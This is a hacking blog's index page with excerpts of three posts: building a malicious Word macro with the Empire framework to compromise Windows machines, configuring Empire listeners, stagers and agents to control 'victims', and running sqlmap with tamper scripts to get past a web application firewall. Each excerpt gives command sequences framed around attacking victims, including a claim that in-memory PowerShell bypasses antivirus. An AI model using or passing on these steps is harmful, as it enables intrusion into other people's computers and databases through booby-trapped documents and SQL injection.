Skip to main content

Popular posts from this blog

Hack windows through Office file using powershell attack

By
[*] Hack windows through Office file using powershell attack [*] - You need to install Empire to create macro code (check video Config Empire ). - Config listener on empire:   ./empire  listeners  uselisteners http_com  set Name <listener_name>  set Port <listener_port>  execute   - Create macro code:    usestager windows/macro < listener_name >  set OutFile <Output_path>  execute - Embedded macro to Office file:   Word --> View --> Macro --> Copy your macro code. - Wait for victim run office file. => And you got a victim. [*] Video Demo: 
31 comments
Read more

How to config and use Empire 2.0 to perform powershell attack

By
[*] How to config and use Empire 2.0 to perform powershell attack [*] [!] Note:  PowerShell can be run in memory where antivirus can’t see it, so it  obviously bypass antivirus. - Clone and install Empire.  git clone https://github.com/EmpireProject/Empire  cd Empire/setup  ./install.sh - How to use Listener.    ./empire  listeners  uselisteners <type_of_listener>  set Name <listener_name>  set Port <listener_port>  set DefaultDelay <delay_time>  info  execute - How to use stager.  main  usestager <stager_name> < listener_name >  info  [set <variable> <value>]  [info]  execute => Payload have been create. - Send payload to your victim. - Wait for victim run payload and get agents. - Interact with agent.  agents  interact <agents_name>  rename <agents_name_you_want>  usemodule <module_name>  execute Video Demo
39 comments
Read more

Advanced Sqlmap - Metasploit for SQL Injection.

By
Advanced Sqlmap - Metasploit for SQL Injection. [?] What is SQL Injection? I'm not describe what is SQL Injection in this post, please check https://www.owasp.org/index.php/SQL_Injection [?] Why we use sqlmap? - This is a automatic SQL injection tool. - Provide many advanced technique that I'll show you in this post. - Open source and highly scalable. - Easy to install. [*] Sqlmap source https://github.com/sqlmapproject/sqlmap All you need is python 2.x and Internet connection: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev [*] Well, now I'm gonna show you some advanced technique. [Bypass WAF using sqlmap tamper script] python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode --timeout=25 --time-sec=25 --random-agent --dbs You can also use more tamper script but it depend on your victim DBMS. ( use too much tamper script is not RECOMMEND ) Here is
20 comments
Read more